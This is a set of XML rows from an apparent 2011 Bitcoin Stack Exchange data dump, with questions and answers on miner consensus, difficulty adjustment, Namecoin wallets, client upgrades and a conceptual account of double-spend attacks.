  <row Id="1208" PostTypeId="2" ParentId="1207" CreationDate="2011-09-22T21:21:20.163" Score="2" Body="&lt;p&gt;At present there are 310 &lt;a href=&quot;https://github.com/bitcoin/bitcoin/network&quot; rel=&quot;nofollow&quot;&gt;forks&lt;/a&gt; of the &quot;standard&quot; client, each possibly having still more branches. There are sufficient developers involved in this project that the only sway held by the devs is that of consensus. That said, if an unpopular consensus is reached, people need only use an alternate client. It is not what client is considered &quot;official&quot; which holds sway on the Bitcoin network, it is what client is actually used. If some branch of the main client which obeys different rules holds the majority vote on the network, which is &quot;standard&quot; or &quot;official&quot; is meaningless - only the majority rule holds sway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the miners holding disproportionate &quot;power to dissent&quot; the miners can only refuse to put transactions in a block, and it is my understanding that the network will reject such blocks so long as they break the rules as understood by the majority of clients.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-22T21:21:20.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1209" PostTypeId="2" ParentId="1207" CreationDate="2011-09-22T22:33:41.477" Score="9" Body="&lt;p&gt;The power to dissent over changes that causes existing clients to reject a block does lie disproportionately with miners. Any change that causes existing clients to consider a block invalid is useless until the majority of miners update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners who consider the block invalid will never attempt to build on a chain that includes any such blocks. So until a majority of miners upgrade, the longest chain will never stably contain a block requiring the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the majority of miners have updated, those running clients will pretty much have to update. Otherwise, they'll be stuck on a shorter block chain that won't agree with the more secure block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change would have to be pretty detrimental to key interests for businesses or ordinary users to be able to stand up to the miners. That seems pretty unlikely to me because there interests are pretty well aligned.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-22T22:33:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1210" PostTypeId="2" ParentId="1166" CreationDate="2011-09-23T03:14:28.647" Score="1" Body="&lt;p&gt;Check out the GAMES section on &lt;a href=&quot;http://stuffexists.com/&quot; rel=&quot;nofollow&quot;&gt;http://stuffexists.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://secure.btcontilt.com/register.php?referred=osmosis&quot; rel=&quot;nofollow&quot;&gt;BtcOnTilt.com&lt;/a&gt; , &#xA;BitJack21.com ,&#xA;StrikeSapphire.com ,&#xA;BitWorldPoker.com ,&#xA;Betco.in ,&#xA;SealsWithClubs.org &lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-09-23T03:14:28.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1211" PostTypeId="2" ParentId="1207" CreationDate="2011-09-23T05:22:46.400" Score="3" Body="&lt;p&gt;The changes would have to be accepted by at least miners, and maybe also by clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the new code rejects something that was previously allowed and miners accept this change, then clients have no recourse. But if the new code allows something that was previously not allowed, then the network will split in two. All clients that refuse to upgrade will always follow their old rules, even if only 0.1% of the network uses these old rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So miners can't increase the money supply, change the difficulty calculation, steal money from accounts, etc. Miners could implement demurrage, increase fees, freeze accounts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible for clients to reject or discourage blocks that &lt;em&gt;don't allow&lt;/em&gt; certain transactions, but this is very difficult to detect reliably, and it could end up fragmenting the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lightweight clients like BitCoinJ can't do complete verification, so miners could trick these clients into accepting certain changes such as an increased money supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all very unlikely, though. The business model of miners depends on the existence and popularity of Bitcoin, so they won't accept stupid changes. Also, if the &quot;official project&quot; made insane core changes, it would lose its status as the official project. Bitcoin.org, weusecoins.com, bitcointalk.org, and the IRC channels are independent of the development project. All links can be changed within days.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-09-23T05:22:46.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1212" PostTypeId="1" AcceptedAnswerId="1214" CreationDate="2011-09-23T11:51:18.100" Score="2" ViewCount="830" Body="&lt;p&gt;Edit: They do not agree on a specific target hash. Any hash lower than or equal to the difficulty is sufficient. This means clients only have to agree on difficulty.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2011-09-23T12:20:44.367" LastActivityDate="2011-09-23T12:20:44.367" Title="How do the clients agree on the target to hash for?" Tags="|blockchain|hash|" AnswerCount="1" CommentCount="2" ClosedDate="2011-10-03T09:11:23.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="1213" PostTypeId="1" CreationDate="2011-09-23T11:59:25.367" Score="-1" ViewCount="5260" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1161/how-to-debug-a-long-0-unconfirmed-status-in-the-bitcoin-client&quot;&gt;How to debug a long &amp;ldquo;0/unconfirmed&amp;rdquo; status in the bitcoin client?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I made a transaction two days ago, but blockexplorer.com doesn't show the recipient address.&#xA;Also there are zero confirmations yet and I start wondering if something went wrong.&#xA;2 days and my transaction does not show up in a block. Also I'm not able to resend the coins to give it another try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance guys.&lt;/p&gt;&#xA;" OwnerUserId="477" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-04-07T11:16:00.787" Title="Bitcoin Client says transaction is unconfirmed for 2 days now" Tags="|transactions|client|confirmations|" AnswerCount="1" CommentCount="2" ClosedDate="2011-09-26T05:02:17.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="1214" PostTypeId="2" ParentId="1212" CreationDate="2011-09-23T12:04:19.523" Score="3" Body="&lt;p&gt;By &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt;&quot; I mean the number that determines the minimum acceptable hash. Higher difficulties mean lower hash minimums and thus, on average, more hash attempts needed to produce a valid block. (Related terms are &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;target&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Dump_format#CBlock&quot; rel=&quot;nofollow&quot;&gt;nBits&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 2,016 blocks there is a difficulty change block. Unless the block is a difficulty change block, the difficulty must be precisely the same as the previous block or the block is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a difficulty change block, the difficulty must be precisely what the difficulty algorithm requires or the block is invalid. The algorithm takes into account the amount of time it took to generate the previous group of blocks and computes a new difficulty such that the block generation time will be, on average, once every ten minutes if the network hashing power stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see this in the source code, check out the &lt;code&gt;GetNextWorkRequired&lt;/code&gt; function in the &lt;code&gt;main.cpp&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-23T12:04:19.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1215" PostTypeId="1" CreationDate="2011-09-23T14:50:44.030" Score="12" ViewCount="6150" Body="&lt;p&gt;Is there any GUI client that is capable of trading Namecoin, and is somewhat trusted by the community?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-01-10T08:31:33.577" Title="Is there a usable Namecoin GUI client?" Tags="|client|namecoin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1216" PostTypeId="1" CreationDate="2011-09-23T15:01:00.880" Score="8" ViewCount="1370" Body="&lt;p&gt;I bought some Namecoins a while back. With the upcoming Merged Mining patch, I reinstalled Namecoin 0.3.24.63 on my newly formatted computer, copied my wallet.dat from my backup to the right folder, and ... can't seem to figure out how to view my funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran &lt;code&gt;namecoind -rescan&lt;/code&gt;, and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; namecoind listaccounts&#xA;&#xA;{&#xA;    &quot;&quot; : 0.00000000&#xA;}&#xA;&#xA;&amp;gt; namecoind listreceivedbyaddress&#xA;[&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I using the right commands here? Is my wallet corrupt/empty? Should I just wait for the blockchain to download? In Bitcoin, if I remember correctly transactions I made using a backup wallet were visible immediately (grayed out) even before the blockchain was downloaded. Any more suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - I have all the blocks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;namecoind.exe getblockcount&#xA;  19062&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-08-19T08:03:34.937" LastActivityDate="2016-08-19T08:03:34.937" Title="How to debug a failed restore of a Namecoin wallet?" Tags="|backup|namecoin|rescan|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1217" PostTypeId="2" ParentId="1215" CreationDate="2011-09-23T15:49:52.840" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.multicoin.net/&quot; rel=&quot;nofollow&quot;&gt;Multicoin&lt;/a&gt; can be used to trade Namecoin although the functions for registering names and such cannot be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a current bounty of 750NMC to produce a web UI for the client to run within a local machine. It can be found on the &lt;a href=&quot;http://dot-bit.org&quot; rel=&quot;nofollow&quot;&gt;http://dot-bit.org&lt;/a&gt; wiki site.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="78" LastEditDate="2011-10-08T01:15:56.783" LastActivityDate="2011-10-08T01:15:56.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1218" PostTypeId="2" ParentId="189" CreationDate="2011-09-23T16:50:59.383" Score="1" Body="&lt;p&gt;BitPay for Android&#xA;Funds received are stored on InstaWallet, so you can spend them from any web browser as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://market.android.com/details?id=com.bitcoin.bitpay&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;https://market.android.com/details?id=com.bitcoin.bitpay&amp;amp;hl=en&lt;/a&gt;&#xA;https://en.bitcoin.it/wiki/BitPay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though know that your funds stored on instawallet requires no password -- only the privacy of the URL is what keeps someone from spending your coins. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-23T16:50:59.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1219" PostTypeId="2" ParentId="1216" CreationDate="2011-09-23T17:16:17.450" Score="1" Body="&lt;p&gt;The best thing to do is wait for the blockchain to download.  With most wallet backups/new installations of bitcoin or namecoin blockchain downloading is usually the issue.  Many people seem to get a little impatient and think the program is broken when it's really just the download taking a while.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-23T17:16:17.450" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1220" PostTypeId="2" ParentId="1213" CreationDate="2011-09-23T17:19:29.630" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts&lt;/a&gt; is a great place to check and see if your transaction is out there.  It displays unconfirmed transactions that have been broadcast to the network.  If a transaction does not show there, then running bitcoin with the -rescan option should fix things up.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-23T17:19:29.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1221" PostTypeId="1" AcceptedAnswerId="1223" CreationDate="2011-09-23T18:09:34.803" Score="9" ViewCount="460" Body="&lt;p&gt;Does there exist a chart documenting the number of bitcoin merchants over time, and if not, would it be possible to create one from any available data source?  (I'm thinking mostly of &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Trade&lt;/a&gt; for source material)&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2011-09-23T19:27:47.133" Title="Is there a chart of Bitcoin merchants over time?" Tags="|commerce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1222" PostTypeId="2" ParentId="1221" CreationDate="2011-09-23T18:39:45.973" Score="0" Body="&lt;p&gt;I have not seen a chart.  The only way I think it would be to go through the history of the wiki page and count the merchants at certain dates to get the data.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-23T18:39:45.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1223" PostTypeId="2" ParentId="1221" CreationDate="2011-09-23T18:47:19.443" Score="8" Body="&lt;p&gt;I went through the last 500 revisions of the wiki page, pulled the byte count into excel and graphed it. Line count would probably be a better metric but I didn't have a readily available data source for that. If someone wants to write a script that wget's each revision and counts the number of &lt;br /&gt; tags that might be more accurate, but here's 500 revisions worth of data as a chart:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlWql.png&quot; alt=&quot;Byte count of trade wiki page over time&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;500 revisions goes back to Jul 8, 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also of interest, the &lt;a href=&quot;https://en.bitcoin.it/w/index.php?title=Trade&amp;amp;oldid=3376&quot; rel=&quot;nofollow noreferrer&quot;&gt;earliest revision&lt;/a&gt; (Feb 10, 2011) of the Trade page has a scant 117 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags while the current page has a whopping 785! I haven't taken the time to count all the revisions inbetween but that's quite a lot of growth - 668 new entries in 225 days for an average of almost 3 entries per day or about 1,084 per year! While some of these are bound to be non-merchant list items, that's still an impressive rate of growth.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-23T19:27:47.133" LastActivityDate="2011-09-23T19:27:47.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1224" PostTypeId="1" AcceptedAnswerId="1225" CreationDate="2011-09-23T23:03:39.857" Score="1" ViewCount="805" Body="&lt;ul&gt;&#xA;&lt;li&gt;What are controls that are in place to detect and/or prevent fraud within the bitcoin system?&lt;/li&gt;&#xA;&lt;li&gt;Are there any know exploits, or potential threats to the system?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="481" LastActivityDate="2011-09-24T12:02:57.670" Title="Fraud Detection &amp; Prevention" Tags="|security|fraud|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1225" PostTypeId="2" ParentId="1224" CreationDate="2011-09-24T00:20:19.543" Score="4" Body="&lt;p&gt;The primary mechanism of attack in most financial systems, Bitcoin included, is a &quot;double spend&quot; attack which essentially allows the spending of the same money in multiple places either by duplication of funds or by revocation of the earlier of two transactions. We've actually addressed a number of such attacks on the StackExchange site here. Try looking at questions with the &lt;a href=&quot;/questions/tagged/doublespend&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;doublespend&amp;#39;&quot; rel=&quot;tag&quot;&gt;doublespend&lt;/a&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two most commonly discussed are the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/658/132&quot;&gt;51% attack&lt;/a&gt; and the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1184/132&quot;&gt;Finney attack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 51% attack requires the attacker to hold 51% or more of the complete hashing power of the Bitcoin network. Once the attacker holds the majority of all hashing power he/she may spend bitcoins and then fork the blockchain in such a way as to not include the block they were spent in. This is incredibly expensive and not arbitrarily done. It would also be somewhat detectable as the forking blockchain would regularly cause problems with other transactions until the 51% attack completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Finney attack can be done by a solo miner without 51% of the network hashing power. The miner waits until they solve a block and place a transaction in that block in which they send all their coins to another address they control, but withhold their result. They then spend coins from the originating address elsewhere and then release the block. This essentially breaks the order of operations and makes the valid transaction impossible since the originating address no longer contains an adequate balance to have sent the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These have both been discussed at great length and from many angles here on the StackExchange site. Again, try looking up the &lt;a href=&quot;/questions/tagged/doublespend&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;doublespend&amp;#39;&quot; rel=&quot;tag&quot;&gt;doublespend&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-09-24T12:02:57.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1226" PostTypeId="1" AcceptedAnswerId="1227" CreationDate="2011-09-24T00:49:16.603" Score="12" ViewCount="5075" Body="&lt;p&gt;According to Wikipedia, here's a projection of expected future Bitcoin supply:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2crBU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there any effect to the dynamics of the system beyond the valuation of Bitcoins?&lt;/p&gt;&#xA;&lt;p&gt;For example, is mining required to produce computations to support the system, and if so, how would the system manage a massive decline in mining with a surge in transactions?&lt;/p&gt;&#xA;" OwnerUserId="481" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2019-06-05T10:16:56.833" Title="The End of Mining" Tags="|mining-reward|reward-schedule|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1227" PostTypeId="2" ParentId="1226" CreationDate="2011-09-24T01:00:42.087" Score="11" Body="&lt;p&gt;A surge in transactions would mean a surge in transaction fees. So it does not follow that there would be a massive decline in mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any event, we have about a decade to work out what changes, if any, are needed. Nobody has a crystal ball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting issue though -- right after a block is mined, all the 'juicy' transactions will be taken, and the available transaction fees will be low. Miners might wait a bit (especially if they can save power/money by pausing mining) until the possible transaction fees reach a higher level. The consequences of that &quot;off and on&quot; surging in mining power need to be considered.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-24T01:00:42.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1228" PostTypeId="1" AcceptedAnswerId="1235" CreationDate="2011-09-24T01:25:35.057" Score="6" ViewCount="426" Body="&lt;p&gt;Are any known threats related to Bitcoin intellectual property?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(While unlikely, I guess one long shot threat is that one or more governments would ban the use of the technology.) &lt;/p&gt;&#xA;" OwnerUserId="481" LastActivityDate="2011-09-24T22:06:34.123" Title="Bitcoin Intellectual Property Threats" Tags="|legal|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1229" PostTypeId="1" AcceptedAnswerId="1230" CreationDate="2011-09-24T01:36:46.550" Score="14" ViewCount="12582" Body="&lt;p&gt;I am working with an older version of Bitcoin and want to upgrade to version &lt;code&gt;.4&lt;/code&gt;.  Is there a specific way to do this?  I want to try to upgrade, but am paranoid that I could lose my wallet if I do something wrong.&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="5822" LastEditDate="2013-11-18T18:53:11.750" LastActivityDate="2013-11-18T18:53:11.750" Title="How do I upgrade my Bitcoin client?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1230" PostTypeId="2" ParentId="1229" CreationDate="2011-09-24T02:46:47.967" Score="12" Body="&lt;p&gt;First, you should backup your wallet.dat in case something goes wrong. The file is located in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;data directory&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The easiest way to open your appdata folder is to press Windows Key-R, then type %appdata% and hit enter.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~/.bitcoin/&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Mac&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~/Library/Application Support/Bitcoin/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then install the new version in the regular manner. The new client should use your previous settings (including the wallet and the blockchain data).&lt;br&gt;&#xA;If, by some strange magic, your wallet gets corrupted, just copy your backup into the data folder.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="2306" LastEditDate="2013-03-13T18:41:50.410" LastActivityDate="2013-03-13T18:41:50.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1231" PostTypeId="2" ParentId="1228" CreationDate="2011-09-24T08:57:18.877" Score="2" Body="&lt;p&gt;If history is any guide, it is more likely that bitcoin would itself be tied to &quot;theft&quot; of intellectual property as an enabling technology which should be &quot;regulated.&quot; Of course, there are &lt;a href=&quot;http://en.wikipedia.org/wiki/Four_Horsemen_of_the_Infocalypse&quot; rel=&quot;nofollow&quot;&gt;many other ways to accomplish the same thing&lt;/a&gt;. So the main non-legislative threat, even greater than technological attacks by well-financed parties, remains that posed by the manipulation of public opinion. This is particularly effective in the United States, where the public has been very effectively conditioned to be easily swayed by fear.&lt;/p&gt;&#xA;" OwnerUserId="484" LastActivityDate="2011-09-24T08:57:18.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1233" PostTypeId="1" CreationDate="2011-09-24T18:19:43.290" Score="6" ViewCount="280" Body="&lt;p&gt;There has been some &lt;a href=&quot;https://bitcoin.stackexchange.com/q/658/46&quot;&gt;discussion&lt;/a&gt; about possible attacks if one has the majority (over 50%) of the computing power of the bitcoin network. What happens if an attacker (or coordinated group of attackers) has more computing power than any other user (or coordinated group of users), but not necessarily the majority of all computing power?&lt;/p&gt;&#xA;&lt;h3&gt;Toy example&lt;/h3&gt;&#xA;&lt;p&gt;As a toy example, consider we have 3 users: Alice, Bob, and Steve.&lt;/p&gt;&#xA;&lt;p&gt;Alice and Bob are both honest users that are fine using the protocol as specified. However, they will not go above-and-beyond the protocol to help each other (in fact, they would be happy to make money off the disadvantage of the other, as long as they are still complying with the protocol).&lt;/p&gt;&#xA;&lt;p&gt;Steve is an attacker and is willing to perform actions outside of the protocol in order to either gain profit or just destroy the network. If Steve has 41% of the computing power, Bob has 34%, and Alice has 25% then are there attacks Steve could launch?&lt;/p&gt;&#xA;&lt;p&gt;The toy example is included to just make it clear what I mean by &lt;strong&gt;plurality vs. majority&lt;/strong&gt;, and what I mean by &lt;strong&gt;honest but uncoordinated users&lt;/strong&gt;. I am obviously more interested in an answer to the general question than this specific toy model.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-01-27T13:53:25.687" Title="Are there any attacks with a plurality of computing power?" Tags="|security|majority-attack|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1234" PostTypeId="2" ParentId="1226" CreationDate="2011-09-24T21:18:00.193" Score="11" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, is mining required to produce computations to support the system, and if so, how would the system manage a massive decline in mining with a surge in transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Miners don't &quot;share the load&quot; but rather compete to find an answer to the same problem: a nonce for the next block which makes the block header hash smaller than a certain value. The difficulty of this problem is set artificially (but by distributed consensus) to keep the rate of new blocks being created at about 1 per 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a lot of miners quit, the difficulty is automatically lowered and transactions will continue to be confirmed at the same rate. In this sense, it is not necessary to have a lot of miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does make the network less secure because it makes it easier for an &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow noreferrer&quot;&gt;attacker with a lot of computing power&lt;/a&gt; (i.e. more than 50%) to make large changes to the block chain. That would enable double spending attacks among other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent miners from quitting, transaction fees would have to compensate for the reduced block reward. So the real question is: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/876/how-much-will-transaction-fees-eventually-be&quot;&gt;what will the transaction fees become&lt;/a&gt; as the block reward tends to zero? And will they be enough to keep the block chain safe?&lt;/p&gt;&#xA;" OwnerDisplayName="user220" LastEditorUserId="-1" LastEditorDisplayName="user220" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-09-24T21:50:35.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1235" PostTypeId="2" ParentId="1228" CreationDate="2011-09-24T22:06:34.123" Score="5" Body="&lt;p&gt;According to our &lt;a href=&quot;http://en.wikipedia.org/wiki/Intellectual_property&quot;&gt;good friend Wikipedia&lt;/a&gt; (my emphasis): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Intellectual property (IP) is a term referring to a number of distinct&#xA;  types of creations of the mind for which a set of exclusive rights are&#xA;  recognized—and the corresponding fields of law.&lt;a href=&quot;http://en.wikipedia.org/wiki/Intellectual_property&quot;&gt;1&lt;/a&gt; Under intellectual&#xA;  property law, owners are granted certain exclusive rights to a variety&#xA;  of intangible assets, such as musical, literary, and artistic works;&#xA;  discoveries and inventions; and words, phrases, symbols, and designs.&#xA;  &lt;strong&gt;Common types of intellectual property rights include copyrights,&#xA;  trademarks, patents, industrial design rights and trade secrets in&#xA;  some jurisdictions.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to attack Bitcoin you'd need to produce evidence that someone else got there first, or that Bitcoin is mis-using an existing technology beyond it's remit (breaking terms of a license for example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be hard given the unique nature of Bitcoin, the open source license it was released under (&lt;a href=&quot;http://en.wikipedia.org/wiki/MIT_License&quot;&gt;MIT&lt;/a&gt; - a very permissive license) and the well-established cryptographic protocols and algorithms it uses (&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot;&gt;SHA-256&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/RIPEMD&quot;&gt;RIPEMD-160&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot;&gt;elliptic curve DSA&lt;/a&gt;) all of which are taken from worldwide standards (think IEEE, ISO, FIPS etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am not a lawyer, and the law varies across the world. It may be possible through some convoluted mechanism to attack it and lay claim to a patent of some kind, but it would take obvious collusion on behalf of the respective court of law to ratify it which may serve to discredit the attacker.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-24T22:06:34.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1236" PostTypeId="1" AcceptedAnswerId="1239" CreationDate="2011-09-25T02:59:45.913" Score="9" ViewCount="391" Body="&lt;p&gt;As each miner works out which nonces it has tried, does it notify the network so that energy isn't wasted on re-processing the same thing by each node? Or is it totally competitive with everyone for themselves?&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="5406" LastEditDate="2016-01-27T13:54:05.143" LastActivityDate="2016-05-10T08:05:04.047" Title="How cooperative or competitive is the mining process?" Tags="|proof-of-work|nonce|mining-theory|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1237" PostTypeId="2" ParentId="1236" CreationDate="2011-09-25T05:06:28.870" Score="4" Body="&lt;p&gt;Every miner is working on a slightly different block because each block pays out the block reward to a different address. There's almost no chance of the network hashing the same thing twice.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-09-25T05:06:28.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
